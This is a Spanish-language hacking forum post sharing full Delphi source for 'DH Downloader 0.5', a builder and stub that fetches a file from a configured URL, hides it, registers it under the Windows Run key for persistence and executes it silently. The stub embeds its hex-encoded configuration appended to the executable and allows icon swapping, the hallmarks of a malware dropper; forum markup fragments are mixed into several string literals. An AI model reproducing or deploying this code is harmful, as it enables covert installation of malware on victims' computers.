[Delphi] DH Downloader 0.5

  • 0 Respuestas
  • 2170 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Delphi] DH Downloader 0.5

  • en: Noviembre 18, 2013, 10:59:06 am
Un simple programa en Delphi para bajar archivos con las siguientes opciones :

  • Se puede cambiar el nombre del archivo descargado[/li]
  • Se puede guardar en la carpeta que quieran[/li]
  • Se puede ocultar el archivo[/li]
  • Hace que el archivo se inicie cada vez que carga Windows[/li]
  • Se puede cargar oculto o normal[/li]
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.[/li][/list]

    Unas imagenes :







    El codigo.

    El form principal.

    Código: Delphi
    1. // DH Downloader 0.5
    2. // (C) Doddy Hackman 2013
    3.  
    4. unit dh;
    5.  
    6. interface
    7.  
    8. uses
    9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    10.   Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;
    11.  
    12. type
    13.   TForm1 = class(TForm)
    14.     sSkinManager1: TsSkinManager;
    15.     Image1: TImage;
    16.     sGroupBox1: TsGroupBox;
    17.     sButton1: TsButton;
    18.     sButton2: TsButton;
    19.     sButton3: TsButton;
    20.     sButton4: TsButton;
    21.     procedure sButton3Click(Sender: TObject);
    22.     procedure sButton4Click(Sender: TObject);
    23.     procedure sButton1Click(Sender: TObject);
    24.     procedure sButton2Click(Sender: TObject);
    25.     procedure FormCreate(Sender: TObject);
    26.   private
    27.     { Private declarations }
    28.   public
    29.     { Public declarations }
    30.   end;
    31.  
    32. var
    33.   Form1: TForm1;
    34.  
    35. implementation
    36.  
    37. uses about, usbmode, generate;
    38. {$R *.dfm}
    39.  
    40. procedure TForm1.FormCreate(Sender: TObject);
    41. begin
    42.  
    43.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
    44.   sSkinManager1.SkinName := 'neonnight';
    45.   sSkinManager1.Active := True;
    46.  
    47. end;
    48.  
    49. procedure TForm1.sButton1Click(Sender: TObject);
    50. begin
    51.   Form3.Show;
    52. end;
    53.  
    54. procedure TForm1.sButton2Click(Sender: TObject);
    55. begin
    56.   Form4.Show;
    57. end;
    58.  
    59. procedure TForm1.sButton3Click(Sender: TObject);
    60. begin
    61.   Form2.Show;
    62. end;
    63.  
    64. procedure TForm1.sButton4Click(Sender: TObject);
    65. begin
    66.   Form1.Close;
    67. end;
    68.  
    69. end.
    70.  
    71. // The End ?
    72.  

    El USB Mode.

    Código: Delphi
    1. // DH Downloader 0.5
    2. // (C) Doddy Hackman 2013
    3.  
    4. unit usbmode;
    5.  
    6. interface
    7.  
    8. uses
    9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    10.   Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
    11.   sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
    12.   IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;
    13.  
    14. type
    15.   TForm3 = class(TForm)
    16.     Image1: TImage;
    17.     sStatusBar1: TsStatusBar;
    18.     sGroupBox1: TsGroupBox;
    19.     sGroupBox2: TsGroupBox;
    20.     sEdit1: TsEdit;
    21.     sGroupBox3: TsGroupBox;
    22.     sCheckBox1: TsCheckBox;
    23.     sEdit2: TsEdit;
    24.     sCheckBox2: TsCheckBox;
    25.     sEdit3: TsEdit;
    26.     sCheckBox3: TsCheckBox;
    27.     sCheckBox4: TsCheckBox;
    28.     sCheckBox5: TsCheckBox;
    29.     sRadioButton1: TsRadioButton;
    30.     sRadioButton2: TsRadioButton;
    31.     sGroupBox4: TsGroupBox;
    32.     sButton1: TsButton;
    33.     sProgressBar1: TsProgressBar;
    34.     IdHTTP1: TIdHTTP;
    35.     procedure sButton1Click(Sender: TObject);
    36.     procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
    37.       AWorkCount: Int64);
    38.     procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
    39.       AWorkCountMax: Int64);
    40.     procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    41.     procedure FormCreate(Sender: TObject);
    42.   private
    43.     { Private declarations }
    44.   public
    45.     { Public declarations }
    46.   end;
    47.  
    48. var
    49.   Form3: TForm3;
    50.  
    51. implementation
    52.  
    53. uses about, dh;
    54. {$R *.dfm}
    55. // Functions
    56.  
    57. function getfilename(archivo: string): string;
    58. var
    59.   test: TStrings;
    60. begin
    61.  
    62.   test := TStringList.Create;
    63.   test.Delimiter := '/';
    64.   test.DelimitedText := archivo;
    65.   Result := test[test.Count - 1];
    66.  
    67.   test.Free;
    68.  
    69. end;
    70.  
    71. //
    72.  
    73. procedure TForm3.FormCreate(Sender: TObject);
    74. begin
    75.   sProgressBar1.Position := 0;
    76. end;
    77.  
    78. procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
    79.   AWorkCount: Int64);
    80. begin
    81.   sProgressBar1.Position := AWorkCount;
    82.   sStatusBar1.Panels[0].Text := '</li><li type="square"> Downloading ...';[/li][/list]
    83.   sStatusBar1.Update;
    84. end;
    85.  
    86. procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
    87.   AWorkCountMax: Int64);
    88. begin
    89.   sProgressBar1.Max := AWorkCountMax;
    90.   sStatusBar1.Panels[0].Text := '</li><li type="square"> Starting download ...';[/li][/list]
    91.   sStatusBar1.Update;
    92. end;
    93.  
    94. procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    95. begin
    96.   sProgressBar1.Position := 0;
    97. end;
    98.  
    99. procedure TForm3.sButton1Click(Sender: TObject);
    100. var
    101.   filename: string;
    102.   nombrefinal: string;
    103.   addnow: TRegistry;
    104.   archivobajado: TFileStream;
    105.  
    106. begin
    107.  
    108.   if not sCheckBox1.Checked then
    109.   begin
    110.     filename := sEdit1.Text;
    111.     nombrefinal := getfilename(filename);
    112.   end
    113.   else
    114.   begin
    115.     nombrefinal := sEdit2.Text;
    116.   end;
    117.  
    118.   archivobajado := TFileStream.Create(nombrefinal, fmCreate);
    119.  
    120.   try
    121.     begin
    122.       DeleteFile(nombrefinal);
    123.       IdHTTP1.Get(sEdit1.Text, archivobajado);
    124.       sStatusBar1.Panels[0].Text := '</li><li type="square"> File Dowloaded';[/li][/list]
    125.       sStatusBar1.Update;
    126.       archivobajado.Free;
    127.     end;
    128.   except
    129.     sStatusBar1.Panels[0].Text := '[-] Failed download';
    130.     sStatusBar1.Update;
    131.     archivobajado.Free;
    132.     Abort;
    133.   end;
    134.  
    135.   if FileExists(nombrefinal) then
    136.   begin
    137.  
    138.     if sCheckBox2.Checked then
    139.     begin
    140.       if not DirectoryExists(sEdit3.Text) then
    141.       begin
    142.         CreateDir(sEdit3.Text);
    143.       end;
    144.       MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
    145.       sStatusBar1.Panels[0].Text := '</li><li type="square"> File Moved';[/li][/list]
    146.       sStatusBar1.Update;
    147.     end;
    148.  
    149.     if sCheckBox3.Checked then
    150.     begin
    151.       SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
    152.       if sCheckBox2.Checked then
    153.       begin
    154.         SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
    155.           FILE_ATTRIBUTE_HIDDEN);
    156.  
    157.         sStatusBar1.Panels[0].Text := '</li><li type="square"> File Hidden';[/li][/list]
    158.         sStatusBar1.Update;
    159.       end
    160.       else
    161.       begin
    162.         SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
    163.         sStatusBar1.Panels[0].Text := '</li><li type="square"> File Hidden';[/li][/list]
    164.         sStatusBar1.Update;
    165.       end;
    166.     end;
    167.  
    168.     if sCheckBox4.Checked then
    169.     begin
    170.  
    171.       addnow := TRegistry.Create;
    172.       addnow.RootKey := HKEY_LOCAL_MACHINE;
    173.       addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
    174.  
    175.       if sCheckBox2.Checked then
    176.       begin
    177.         addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
    178.       end
    179.       else
    180.       begin
    181.         addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
    182.             + '/' + nombrefinal);
    183.       end;
    184.  
    185.       sStatusBar1.Panels[0].Text := '</li><li type="square"> Registry Updated';[/li][/list]
    186.       sStatusBar1.Update;
    187.  
    188.       addnow.Free;
    189.  
    190.     end;
    191.  
    192.     if sCheckBox5.Checked then
    193.     begin
    194.  
    195.       if sRadioButton1.Checked then
    196.       begin
    197.         if sCheckBox2.Checked then
    198.         begin
    199.           ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
    200.             nil, nil, SW_SHOWNORMAL);
    201.         end
    202.         else
    203.         begin
    204.           ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil,
    205.             SW_SHOWNORMAL);
    206.         end;
    207.       end
    208.       else
    209.       begin
    210.         if sCheckBox2.Checked then
    211.         begin
    212.           ShellExecute(Handle, 'open', Pchar(sEdit3.Text + '/' + nombrefinal),
    213.             nil, nil, SW_HIDE);
    214.         end
    215.         else
    216.         begin
    217.           ShellExecute(Handle, 'open', Pchar(nombrefinal), nil, nil, SW_HIDE);
    218.         end;
    219.       end;
    220.  
    221.     end;
    222.  
    223.     if sCheckBox1.Checked or sCheckBox2.Checked or sCheckBox3.Checked or
    224.       sCheckBox4.Checked or sCheckBox5.Checked then
    225.     begin
    226.       sStatusBar1.Panels[0].Text := '</li><li type="square"> Finished';[/li][/list]
    227.       sStatusBar1.Update;
    228.     end;
    229.  
    230.   end;
    231.  
    232. end;
    233.  
    234. end.
    235.  
    236. // The End ?
    237.  

    El generador.

    Código: Delphi
    1. // DH Downloader 0.5
    2. // (C) Doddy Hackman 2013
    3.  
    4. unit generate;
    5.  
    6. interface
    7.  
    8. uses
    9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    10.   Dialogs, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, ComCtrls, sStatusBar,
    11.   sButton, sCheckBox, sComboBox, sRadioButton, madRes, sPageControl;
    12.  
    13. type
    14.   TForm4 = class(TForm)
    15.     Image1: TImage;
    16.     sStatusBar1: TsStatusBar;
    17.  
    18.     OpenDialog1: TOpenDialog;
    19.     sPageControl1: TsPageControl;
    20.     sTabSheet1: TsTabSheet;
    21.     sTabSheet2: TsTabSheet;
    22.     sTabSheet3: TsTabSheet;
    23.     sGroupBox1: TsGroupBox;
    24.     sGroupBox2: TsGroupBox;
    25.     sEdit1: TsEdit;
    26.     sGroupBox3: TsGroupBox;
    27.     sEdit2: TsEdit;
    28.     sGroupBox4: TsGroupBox;
    29.     sRadioButton1: TsRadioButton;
    30.     sRadioButton2: TsRadioButton;
    31.     sGroupBox5: TsGroupBox;
    32.     sGroupBox6: TsGroupBox;
    33.     sGroupBox7: TsGroupBox;
    34.     Image2: TImage;
    35.     sButton1: TsButton;
    36.     sGroupBox8: TsGroupBox;
    37.     sComboBox1: TsComboBox;
    38.     sGroupBox9: TsGroupBox;
    39.     sCheckBox1: TsCheckBox;
    40.     sEdit3: TsEdit;
    41.     sGroupBox10: TsGroupBox;
    42.     sButton2: TsButton;
    43.     procedure sButton1Click(Sender: TObject);
    44.     procedure sEdit2Click(Sender: TObject);
    45.     procedure sButton2Click(Sender: TObject);
    46.  
    47.     procedure FormCreate(Sender: TObject);
    48.  
    49.   private
    50.     { Private declarations }
    51.   public
    52.     { Public declarations }
    53.   end;
    54.  
    55. var
    56.   Form4: TForm4;
    57.  
    58. implementation
    59.  
    60. {$R *.dfm}
    61. // Functions
    62.  
    63. function dhencode(texto, opcion: string): string;
    64. // Thanks to Taqyon
    65. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    66. var
    67.   num: integer;
    68.   aca: string;
    69.   cantidad: integer;
    70.  
    71. begin
    72.  
    73.   num := 0;
    74.   Result := '';
    75.   aca := '';
    76.   cantidad := 0;
    77.  
    78.   if (opcion = 'encode') then
    79.   begin
    80.     cantidad := length(texto);
    81.     for num := 1 to cantidad do
    82.     begin
    83.       aca := IntToHex(ord(texto[num]), 2);
    84.       Result := Result + aca;
    85.     end;
    86.   end;
    87.  
    88.   if (opcion = 'decode') then
    89.   begin
    90.     cantidad := length(texto);
    91.     for num := 1 to cantidad div 2 do
    92.     begin
    93.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
    94.       Result := Result + aca;
    95.     end;
    96.   end;
    97.  
    98. end;
    99.  
    100. function getfilename(archivo: string): string;
    101. var
    102.   test: TStrings;
    103. begin
    104.  
    105.   test := TStringList.Create;
    106.   test.Delimiter := '/';
    107.   test.DelimitedText := archivo;
    108.   Result := test[test.Count - 1];
    109.  
    110.   test.Free;
    111.  
    112. end;
    113.  
    114. //
    115.  
    116. procedure TForm4.FormCreate(Sender: TObject);
    117. begin
    118.  
    119.   OpenDialog1.InitialDir := GetCurrentDir;
    120.   OpenDialog1.Filter := 'ICO|*.ico|';
    121.  
    122. end;
    123.  
    124. procedure TForm4.sButton2Click(Sender: TObject);
    125. var
    126.   linea: string;
    127.   aca: THandle;
    128.   code: Array [0 .. 9999 + 1] of Char;
    129.   nose: DWORD;
    130.   marca_uno: string;
    131.   marca_dos: string;
    132.   url: string;
    133.   opcionocultar: string;
    134.   savein: string;
    135.   lineafinal: string;
    136.   stubgenerado: string;
    137.   tipodecarga: string;
    138.   change: DWORD;
    139.   valor: string;
    140.  
    141. begin
    142.  
    143.   url := sEdit1.Text;
    144.   stubgenerado := 'tiny_down.exe';
    145.  
    146.   if (sRadioButton2.Checked = True) then
    147.   begin
    148.     tipodecarga := '1';
    149.   end
    150.   else
    151.   begin
    152.     tipodecarga := '0';
    153.   end;
    154.  
    155.   if (sCheckBox1.Checked = True) then
    156.   begin
    157.     opcionocultar := '1';
    158.   end
    159.   else
    160.   begin
    161.     opcionocultar := '0';
    162.   end;
    163.  
    164.   if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
    165.   begin
    166.     savein := 'USERPROFILE';
    167.   end
    168.   else
    169.   begin
    170.     savein := sComboBox1.Items[sComboBox1.ItemIndex];
    171.   end;
    172.  
    173.   lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
    174.     '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
    175.     '[name]' + '[carga]' + tipodecarga + '[carga]';
    176.  
    177.   marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
    178.  
    179.   aca := INVALID_HANDLE_VALUE;
    180.   nose := 0;
    181.  
    182.   DeleteFile(stubgenerado);
    183.   CopyFile(PChar(ExtractFilePath(Application.ExeName)
    184.         + '/' + 'Data/stub_down.exe'), PChar
    185.       (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
    186.  
    187.   linea := marca_uno;
    188.   StrCopy(code, PChar(linea));
    189.   aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
    190.     OPEN_EXISTING, 0, 0);
    191.   if (aca <> INVALID_HANDLE_VALUE) then
    192.   begin
    193.     SetFilePointer(aca, 0, nil, FILE_END);
    194.     WriteFile(aca, code, 9999, nose, nil);
    195.     CloseHandle(aca);
    196.   end;
    197.  
    198.   //
    199.  
    200.   if not(sEdit3.Text = '') then
    201.   begin
    202.     try
    203.       begin
    204.  
    205.         valor := IntToStr(128);
    206.  
    207.         change := BeginUpdateResourceW
    208.           (PWideChar(wideString(ExtractFilePath(Application.ExeName)
    209.                 + '/' + stubgenerado)), False);
    210.         LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
    211.           PWideChar(wideString(sEdit3.Text)));
    212.         EndUpdateResourceW(change, False);
    213.         sStatusBar1.Panels[0].Text := '</li><li type="square"> Done ';[/li][/list]
    214.         sStatusBar1.Update;
    215.       end;
    216.     except
    217.       begin
    218.         sStatusBar1.Panels[0].Text := '[-] Error';
    219.         sStatusBar1.Update;
    220.       end;
    221.     end;
    222.   end
    223.   else
    224.   begin
    225.     sStatusBar1.Panels[0].Text := '</li><li type="square"> Done ';[/li][/list]
    226.     sStatusBar1.Update;
    227.   end;
    228.  
    229.   //
    230.  
    231. end;
    232.  
    233. procedure TForm4.sButton1Click(Sender: TObject);
    234. begin
    235.  
    236.   if OpenDialog1.Execute then
    237.   begin
    238.     Image2.Picture.LoadFromFile(OpenDialog1.FileName);
    239.     sEdit3.Text := OpenDialog1.FileName;
    240.   end;
    241.  
    242. end;
    243.  
    244. procedure TForm4.sEdit2Click(Sender: TObject);
    245. begin
    246.   if not(sEdit1.Text = '') then
    247.   begin
    248.     sEdit2.Text := getfilename(sEdit1.Text);
    249.   end;
    250. end;
    251.  
    252. end.
    253.  
    254. // The End ?
    255.  

    El stub

    Código: Delphi
    1. // DH Downloader 0.5
    2. // (C) Doddy Hackman 2013
    3.  
    4. // Stub
    5.  
    6. program stub_down;
    7.  
    8. // {$APPTYPE CONSOLE}
    9.  
    10. uses
    11.   SysUtils, Windows, URLMon, ShellApi;
    12.  
    13.  
    14. // Functions
    15.  
    16. function regex(text: String; deaca: String; hastaaca: String): String;
    17. begin
    18.   Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
    19.   SetLength(text, AnsiPos(hastaaca, text) - 1);
    20.   Result := text;
    21. end;
    22.  
    23. function dhencode(texto, opcion: string): string;
    24. // Thanks to Taqyon
    25. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    26. var
    27.   num: integer;
    28.   aca: string;
    29.   cantidad: integer;
    30.  
    31. begin
    32.  
    33.   num := 0;
    34.   Result := '';
    35.   aca := '';
    36.   cantidad := 0;
    37.  
    38.   if (opcion = 'encode') then
    39.   begin
    40.     cantidad := Length(texto);
    41.     for num := 1 to cantidad do
    42.     begin
    43.       aca := IntToHex(ord(texto[num]), 2);
    44.       Result := Result + aca;
    45.     end;
    46.   end;
    47.  
    48.   if (opcion = 'decode') then
    49.   begin
    50.     cantidad := Length(texto);
    51.     for num := 1 to cantidad div 2 do
    52.     begin
    53.       aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
    54.       Result := Result + aca;
    55.     end;
    56.   end;
    57.  
    58. end;
    59.  
    60. //
    61.  
    62. var
    63.   ob: THandle;
    64.   code: Array [0 .. 9999 + 1] of Char;
    65.   nose: DWORD;
    66.   link: string;
    67.   todo: string;
    68.   opcion: string;
    69.   path: string;
    70.   nombre: string;
    71.   rutafinal: string;
    72.   tipodecarga: string;
    73.  
    74. begin
    75.  
    76.   try
    77.  
    78.     ob := INVALID_HANDLE_VALUE;
    79.     code := '';
    80.  
    81.     ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    82.       OPEN_EXISTING, 0, 0);
    83.     if (ob <> INVALID_HANDLE_VALUE) then
    84.     begin
    85.       SetFilePointer(ob, -9999, nil, FILE_END);
    86.       ReadFile(ob, code, 9999, nose, nil);
    87.       CloseHandle(ob);
    88.     end;
    89.  
    90.     todo := regex(code, '[63686175]', '[63686175]');
    91.     todo := dhencode(todo, 'decode');
    92.  
    93.     link := regex(todo, '[link]', '[link]');
    94.     opcion := regex(todo, '[opcion]', '[opcion]');
    95.     path := regex(todo, '[path]', '[path]');
    96.     nombre := regex(todo, '[name]', '[name]');
    97.     tipodecarga := regex(todo, '[carga]', '[carga]');
    98.  
    99.     rutafinal := GetEnvironmentVariable(path) + '/' + nombre;
    100.  
    101.     try
    102.  
    103.       begin
    104.         UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);
    105.  
    106.         if (FileExists(rutafinal)) then
    107.         begin
    108.  
    109.           if (opcion = '1') then
    110.           begin
    111.             SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
    112.           end;
    113.  
    114.           if (tipodecarga = '1') then
    115.           begin
    116.             ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
    117.           end
    118.           else
    119.           begin
    120.             ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
    121.           end;
    122.         end;
    123.  
    124.       end;
    125.     except
    126.       //
    127.     end;
    128.  
    129.   except
    130.     //
    131.   end;
    132.  
    133. end.
    134.  
    135. // The End ?
    136.  

    Si lo quieren bajar lo pueden hacer de Solo los usuarios pueden ver los links. Registrate o Ingresar.
« Última modificación: Noviembre 18, 2013, 11:01:33 am por Doddy »

 

Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 4883
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3180
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 5300
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
[Delphi] Creacion de un Server Builder con recursos

Iniciado por BigBear

Respuestas: 1
Vistas: 2536
Último mensaje Marzo 09, 2015, 07:56:20 pm
por Flemon
[Delphi] Project Arsenal X 0.2 (Regalo de navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 5078
Último mensaje Diciembre 28, 2015, 10:27:44 am
por BigBear